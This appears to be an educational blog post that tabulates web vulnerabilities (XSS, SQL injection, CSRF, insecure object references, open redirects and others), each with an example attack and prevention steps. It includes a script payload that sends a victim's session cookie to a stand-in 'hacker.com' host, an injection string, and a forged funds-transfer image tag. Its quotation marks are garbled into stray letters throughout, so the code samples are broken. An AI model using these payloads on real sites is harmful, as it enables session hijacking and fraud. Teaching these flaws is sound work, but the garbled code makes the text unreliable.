Web Attack methods
Security Vulnerability | What is it? | Example Attack Scenario | Prevention |
Cross-Site Scripting (XSS) | Cross-Site Scripting(XSS) flaws occur if application takes non-trusted data & pass it to browser without suitable validations/escaping. It allows an attacker to run malicious scripts in the hostfs browser. Possible problems could be hijacking user sessions, defacing web sites, invalid redirects & forwards. | Hacker
might utilize malicious data in developing following HTML code
without validation or escaping: (String) page += h <input name=fmyaccountnamef type=fTEXTf value=fh + request.getParameter(gFFh) + ge>h; The eve-dropper changes the eFFf parameter in their browser to: <script>document.location= ehttp://www.hacker.com/ cgi-bin /cookie.cgi?param=f +document.cookie</script>f. This will permit transferring of victimfs session ID to hackerfs site and thus they can misuse it for access. |
1.
Escape all input data 2. Strong Input Validation where it decodes all encoded information. |
Using Modules with known vulnerabilities | Software components like frameworks, libraries and other modules usually run with full privileges. Such software may undermine its defences and allows a range of possible impacts or attacks. | Misuse of the Expression Language (EL) in Spring based web application permits hackers to run arbitrary code, leads to unauthorized access. | 1.
Identify dependent components. 2. Monitor security of used components in version & public listings. 3. Develop security policies. |
SQL Injections | It is a coding way, used to hack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. | The
software uses malicious data in developing the below suspicious SQL
query: String query = gSELECT * FROM branches WHERE branchID=fh + request.getParameter(gnameh) + geh; Eve-dropper can change this name parameter and append e or e1f=f1 which alters query and enables fetching of all records. |
1.
Use Prepared Statements in queries & procedures 2. Escaping input given by user especially those with special character |
Missing Function Level Access Control | Usually function level access rights got verified which permits that functionality to appear in the UI. Also, similar access control checks are done on the server when each function is accessed. Hackers will forge requests in order to access functionality without legal authorization, if requests are not checked. | The
attacker simply forces browser to hit target URLs. Say the below URLs
require authentication and admin rights are also required for access
to admin_getAppAccess page http://myweb.com/appl/getAppAccess http://myweb.com/appl/admin_getAppAccess . If a non-admin unauthenticated user can access either page, thatfs a flaw |
1.
Access Control for business processes. 2. Role based authorization for every operation. 3. Restricted Access to File Management. |
Sensitive Data Exposure | Sometimes web portals fail to properly save sensitive data like account details, authentication credentials. Hacker might steal/change such less protected information to conduct crimes like debit card fraud,identity theft. Sensitive information needs more care like encryption at rest or in transit and special precautions when exchanged with the browser | A webpage simply doesnft use SSL for every authenticated page. Attacker simply observes network traffic (say an open wireless network), and steals the userfs cookie of its session. Eve-dropper then replays such cookie and hijacks the userfs session, accessing the customerfs private information. | 1.
Donft save sensitive data unnecessarily 2. Check whether passwords are saved with algorithm specifically designed for its protection 3. Stop auto-complete on screens & caching on forms collecting sensitive data |
Cross-Site Request Forgery (CSRF) | CSRF is a problem which allows a logged-on victimfs browser to make a forged HTTP request alongwith the victimfs session cookie with any other automatically included access information to a vulnerable web application. This permits the hacker to force the victimfs browser to generate requests the vulnerable application thinks as legal requests arising via the victimfs end | Application
permits user to send a state changing request :
http://myweb/app/sendFunds?amount=9880&targetAct=4673892
Thus the eve-dropper develops a request to enable money transfer from
the victimfs account to that eve-dropper
as embeds into image or iframe. <img src= ghttp://myweb/app/sendFunds ?amount=9880&targetAct=hackerAcct#h /> If any such website got traversed while already authenticated to this website, any forged requests will have session info, inadvertently authorizing the request. |
1.
Incorporate a unique token within hidden field or URL. 2. Origin and Referrer Header are verified. 3. Captcha can be incorporated |
Insecure Direct Object References | It
occurs when a programmer exposes a direct/indirect reference to an
internal implementation object, like a folder, file, or database key. If no access-control checks and other protection, then hackers can modify these references to access unauthorized information. |
If
application utilized unverified data in a SQL query: String query = gSELECT * FROM myacts WHERE accntNo = ?h; PreparedStatement pstmt =connection.prepareStatement(query , c ); pstmt.setString( 1, request.getParameter(gacnumberh)); ResultSet results = pstmt.executeQuery( ); The attacker simply modifies the eacnumberf parameter. http://myweb.com/app/info?acct=notuseraccount |
1.
Use per user or per session indirect object references: For instance, a list of 4 resources could use the keys 1 to 4 to indicate value the user can choose, instead of referring by resourcefs name. 2. Check access for request |
Invalidated Redirects & Forwards | Web sites usually redirect and forward users to other webpages and sites, and use malicious data to know the destination pages. Without suitable validation checks, eve-dropper can redirect victims to phishing/malware websites, or use forwards to access illegal pages. | Suppose
a page called gredirect.jsph exists in application which had a single
parameter named gurlh. Eve-dropper would develop a untrusted URL
which redirects users to a non-trusted site. http://www.myweb.com/redirect.jsp?url=hack.com |
1.
The implementation is reviewed for all uses of forward or redirect. 2. Check the application and detect whether if it makes redirects |
Security Misconfiguration | Proper security needs to have a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Like secure and robust configuration settings should be defined, implemented, and maintained, as default configurations are often easily attacked. Also, software should be up to date. | For instance, admin console of app server is automatically installed and not removed. Default accounts remain same. Hacker finds the standard admin pages are on your server, logs in with default key/passwords, and takes over access. | 1.
Hardening process needs to be repeated. 2. Architecture of product should be strong with loose coupling and tight security among modules. |
Broken Authentication & Session Management | Application functions in relation with authentication and session management are often not properly implemented as expected, permitting hackers to assume other usersf identities by compromising keys, passwords or session tokens, or to exploit other implementation flaws. | For
instance, Hotel reserving application supports URL rewriting,
embedding session IDs in the URL: http://myweb.com/list/ jsessionid= 2K0OC2PNPOLCDSN2JV?dest=Goa A legal user of the site wants to let his colleagues know about the purchases. The above link if e-mailed then without being aware of the fact that he is also giving away his session ID. When his colleagues use the link they will use his session and debit card. |
1.
Hard authorization and session management checks 2. Prevent cross site scripting flaws which further prevents stealing of session-id 3. Use SSL |
Resource Link: Security
vulnerabilities in java-based web applications
No comments:
Post a Comment